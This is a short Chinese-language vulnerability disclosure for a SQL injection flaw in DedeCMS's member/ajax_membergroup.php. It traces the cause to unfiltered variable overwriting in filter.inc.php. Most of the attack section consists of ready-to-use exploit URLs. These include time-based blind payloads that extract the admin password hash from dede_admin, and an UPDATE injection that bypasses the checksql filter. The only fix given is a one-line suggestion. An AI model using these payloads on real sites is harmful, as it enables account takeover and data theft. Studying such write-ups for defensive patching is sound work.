dedecms SQL盲注漏洞（已经确定可以直接update出密码）

 2014-02-17 19:25

漏洞处在ROOT_PATH/member/ajax_membergroup.php的53、54行
$mdescription变量是可控的，并且没有任何过滤，为什么？接下里继续看

再看第一行
包含了ROOT_PATH/member/config.php

然后跟着

ROOT_PATH/member/config.php

第10行，包含了ROOT_PATH/include/filter.inc.php

接着来到filter.inc.php

首先这里有个典型的变量覆盖，并且会遍历里面对其进行过滤

来看看过滤函数

$cfg_notallowstr是什么

来看看

为空

那么这是干什么的，这个函数是用来过滤敏感词的，比如各种和谐。

意思就是在filter.inc.php里面发生了变量覆盖并且没有任何过滤。

然后ROOT_PATH/member/config.php包含了filter.inc.php。

ROOT_PATH/member/ajax_membergroup.php又去包含了ROOT_PATH/member/config.php

通过覆盖$mdescription

我们可以任意控制sql语句
漏洞证明：
首先要能注册

EXP

http://127.0.0.1/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd' where id=@`` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @``

http://127.0.0.1/dede/member/ajax_membergroup.php?

action=desshow&mid=1&action=despost&mdescription=asd' where id=@`` or(select if(substring((select

1),1,1)='1',sleep(5),0)) -- - @``

http://127.0.0.1/dede/member/ajax_membergroup.php?
action=desshow&mid=1&action=despost&mdescription=asd' where id=@`` or(select if(substring((select
user()),1,1)='r',sleep(5),0)) -- - @``

http://127.0.0.1/dede/member/ajax_membergroup.php?
action=desshow&mid=1&action=despost&mdescription=asd' where id=@`` or(select if(substring((select
pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @``

view-source:http://localhost/test/dedecms/member/ajax_membergroup.php?
action=desshow&mid=1&action=despost&mdescription=',funame=char(@``),description=
(select%20user()),funame='

最终成 UPDATE `dede_member_friends` SET `description`='',funame=char(@``),description=(select
user()),funame='' WHERE `fid`='1' AND `mid`='1' 绕过checksql执行了

修复方案:

filter.inc.php里面做过滤

知识来源: www.2cto.com/Article/201402/279015.html